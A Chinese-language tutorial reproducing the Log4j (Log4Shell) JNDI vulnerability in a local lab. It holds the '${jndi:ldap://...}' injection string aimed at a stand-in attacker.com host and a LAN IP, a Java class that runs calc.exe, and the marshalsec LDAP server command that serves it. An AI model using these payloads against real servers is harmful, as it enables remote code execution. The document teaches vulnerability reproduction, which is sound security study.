Log4j漏洞复现

漏洞描述

因为 Log4j 存在对 JNDI 的一个使用,而 JNDI 可以利用远程动态类的加载完成攻击,在 Log4j 中,用户可以输入特定的请求来触发,从而利用这个漏洞对目标服务器就行任意代码的攻击。

攻击步骤

  1. 攻击者向服务器发起请求

  2. 服务器通过 Log4j 记录请求,包含特定的输入时触发漏洞

    ${jndi:ldap://attacker.com/a} //attacker.com 攻击者的代码地址
  3. 服务器通过 JNDI 向 attacker.com 请求代码(可注入的脚步),注入到执行过程中

    http://second-stage.attacker.com/Exploit.class //示例
  4. 服务器执行恶意代码

受影响的版本 Apache Log4j 2.x <= 2.14.1

这个漏洞的触发条件其实是很苛刻的,基本你只要保持常更新版本之类的操作,或者说你的JDK版本稍微高一点,或者说不是太老,这个漏洞都是难以利用的。

解决方法网上一大堆,现在更新版本为2.15更是解决了,这里不做赘述。

复现

攻击代码

public class exp {
    static {
        System.out.println("开始攻击");
        //打开电脑计算器
        Process p = null;
        try {
            p = Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
        try {
            p.waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        System.out.println("结束攻击");
    }
}

创建如上的java代码,然后编译为一个class文件。ps:不要有包名

日志记录

这一步是模仿被攻击的服务器记录日志,然后触发恶意代码的。

创建一个项目,引入 Log4j:

<!-- 2.15就修复了 -->
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.0</version>
</dependency>

模仿日志记录:

private static final Logger log = LogManager.getLogger(Test.class);
public static void main(String[] args) {
    System.out.println("开始记录日志");
    log.error("${jndi:ldap://192.168.3.15:9999/exp}"); //地址为恶意攻击者的地址
    System.out.println("结束记录日志");
}

恶意攻击者服务器

创建一个SpringBoot项目,把上面创建的 攻击代码 exp.class 当作静态文件放在项目中,供待会使用,这里假设你的项目访问地址为192.168.3.15:8888

然后可以通过192.168.3.15:8888/exp.class访问你的恶意代码(就是静态文件访问而已)。

下载marshalsec

这东西可以将数据转换为代码,给JNDI执行

地址:https://github.com/mbechler/marshalsec

下载下来以后,通过 mvn clean package -DskipTests 打个包。

打完包以后,控制台执行如下代码运行jar包

// 192.168.3.15:8888/是刚才创建SpringBoot项目的地址 exp是你的class文件名 中间 # 号隔开 然后又一个端口号
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.3.15:8888/#exp" 9999

运行成功显示

Listening on 0.0.0.0:9999

这个时候整个复现环境就已经搭建完毕了,然后只需要执行日志记录代码就行了,${jndi:ldap://192.168.3.15:9999/exp}会请求刚才挂起的class文件并执行,效果是打开电脑上的计算器。

参考

文章1:https://zhuanlan.zhihu.com/p/443640671

文章2:https://zhuanlan.zhihu.com/p/444017079

视频:https://www.bilibili.com/video/BV15Q4y1e7jZ